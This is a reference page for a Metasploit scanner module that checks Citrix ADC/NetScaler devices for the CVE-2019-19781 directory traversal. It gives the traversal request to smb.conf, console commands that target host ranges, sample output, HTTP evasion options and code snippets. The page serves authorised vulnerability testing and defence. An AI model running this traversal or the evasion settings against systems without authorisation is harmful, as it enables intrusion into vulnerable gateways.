Citrix ADC (NetScaler) Directory Traversal Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/citrix_dir_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Citrix ADC (NetScaler) Directory Traversal Scanner
Module: auxiliary/scanner/http/citrix_dir_traversal
Source code: modules/auxiliary/scanner/http/citrix_dir_traversal.rb
Disclosure date: 2019-12-17
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-19781

This module is also known as Shitrix.

This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC (NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request /vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of a "[global]" directive in smb.conf, which this file should always contain.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/citrix_dir_traversal
msf auxiliary(citrix_dir_traversal) > show options
    ... show and set options ...
msf auxiliary(citrix_dir_traversal) > set RHOSTS ip-range
msf auxiliary(citrix_dir_traversal) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(citrix_dir_traversal) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(citrix_dir_traversal) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(citrix_dir_traversal) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Introduction

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.

Because vulnerable servers allow for directory traversal, they will accept the request GET /vpn/../vpns/ and process it as a request for GET /vpns/, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.

This module checks if a target server is vulnerable by issuing an HTTP GET request for /vpn/../vpns/cfg/smb.confand then checking the response for [global] since this configuration file should contain global variables. If [global] is found, the server is vulnerable to CVE-2019-19781.

Verification Steps

  1. Install the module as usual
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/citrix_dir_traversal
  4. Do: set RHOSTS [IP]
  5. Do: run

Options

  1. Proxies. This option is not set by default.
  2. RPORT. The default setting is 80. To use: set RPORT [PORT]
  3. SSL. The default setting is false.
  4. THREADS. The default setting is 1.
  5. VHOST. This option is not set by default.
  6. TARGETURI. This option is the base path. / by default.
  7. PATH. This option is the traversal path. /vpn/../vpns/cfg/smb.conf by default.

Scenarios

msf5 auxiliary(scanner/http/citrix_dir_traversal) > options

Module options (auxiliary/scanner/http/citrix_dir_traversal):

   Name       Current Setting            Required  Description
   ----       ---------------            --------  -----------
   PATH       /vpn/../vpns/cfg/smb.conf  yes       Traversal path
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      8080                       yes       The target port (TCP)
   SSL        false                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                          yes       Base path
   THREADS    1                          yes       The number of concurrent threads (max one per host)
   VHOST                                 no        HTTP server virtual host

msf5 auxiliary(scanner/http/citrix_dir_traversal) > run

[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/citrix_dir_traversal) >

References

  1. https://nvd.nist.gov/vuln/detail/CVE-2019-19781
  2. https://support.citrix.com/article/CTX267027

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Msfconsole Usage

Here is how the scanner/http/citrix_dir_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/citrix_dir_traversal

msf6 auxiliary(scanner/http/citrix_dir_traversal) > show info

       Name: Citrix ADC (NetScaler) Directory Traversal Scanner
     Module: auxiliary/scanner/http/citrix_dir_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-12-17

Provided by:
  Mikhail Klyuchnikov
  Erik Wynter
  altonjx

Check supported:
  No

Basic options:
  Name       Current Setting            Required  Description
  ----       ---------------            --------  -----------
  PATH       /vpn/../vpns/cfg/smb.conf  yes       Traversal path
  Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80                         yes       The target port (TCP)
  SSL        false                      no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                          yes       Base path
  THREADS    1                          yes       The number of concurrent threads (max one per host)
  VHOST                                 no        HTTP server virtual host

Description:
  This module exploits a directory traversal vulnerability 
  (CVE-2019-19781) within Citrix ADC (NetScaler). It requests the 
  smb.conf file located in the /vpns/cfg directory by issuing the 
  request /vpn/../vpns/cfg/smb.conf. It then checks if the server is 
  vulnerable by looking for the presence of a "[global]" directive in 
  smb.conf, which this file should always contain.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-19781
  https://support.citrix.com/article/CTX267027/
  https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/

Also known as:
  Shitrix

Module Options

This is a complete list of options available in the scanner/http/citrix_dir_traversal auxiliary module:

msf6 auxiliary(scanner/http/citrix_dir_traversal) > show options

Module options (auxiliary/scanner/http/citrix_dir_traversal):

   Name       Current Setting            Required  Description
   ----       ---------------            --------  -----------
   PATH       /vpn/../vpns/cfg/smb.conf  yes       Traversal path
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                         yes       The target port (TCP)
   SSL        false                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                          yes       Base path
   THREADS    1                          yes       The number of concurrent threads (max one per host)
   VHOST                                 no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/citrix_dir_traversal auxiliary module:

msf6 auxiliary(scanner/http/citrix_dir_traversal) > show advanced

Module advanced options (auxiliary/scanner/http/citrix_dir_traversal):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/citrix_dir_traversal module can do:

msf6 auxiliary(scanner/http/citrix_dir_traversal) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/citrix_dir_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/citrix_dir_traversal) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<FULL_URI-TURI> - No response, target seems down.

Here is a relevant code snippet related to the "<FULL_URI-TURI> - No response, target seems down." error message:

48:	      'method' => 'GET',
49:	      'uri'    =>  turi
50:	    )
51:	
52:	    unless res
53:	      print_error("#{full_uri(turi)} - No response, target seems down.")
54:	
55:	      return Exploit::CheckCode::Unknown
56:	    end
57:	
58:	    unless res.code == 200

<FULL_URI-TURI> - The target is not vulnerable to CVE-2019-19781.

Here is a relevant code snippet related to the "<FULL_URI-TURI> - The target is not vulnerable to CVE-2019-19781." error message:

54:	
55:	      return Exploit::CheckCode::Unknown
56:	    end
57:	
58:	    unless res.code == 200
59:	      print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
60:	      vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")
61:	
62:	      return Exploit::CheckCode::Safe
63:	    end
64:

Obtained HTTP response code <RES.CODE> for <FULL_URI-TURI>.

Here is a relevant code snippet related to the "Obtained HTTP response code <RES.CODE> for <FULL_URI-TURI>." error message:

55:	      return Exploit::CheckCode::Unknown
56:	    end
57:	
58:	    unless res.code == 200
59:	      print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
60:	      vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")
61:	
62:	      return Exploit::CheckCode::Safe
63:	    end
64:	
65:	    if turi.end_with?('smb.conf')

<TURI> does not contain "[global]" directive.

Here is a relevant code snippet related to the "<TURI> does not contain "[global]" directive." error message:

62:	      return Exploit::CheckCode::Safe
63:	    end
64:	
65:	    if turi.end_with?('smb.conf')
66:	      unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)
67:	        vprint_warning("#{turi} does not contain \"[global]\" directive.")
68:	      end
69:	    end
70:	
71:	    print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")
72:	    msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Mikhail Klyuchnikov
  • Erik Wynter
  • altonjx

Version

This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.

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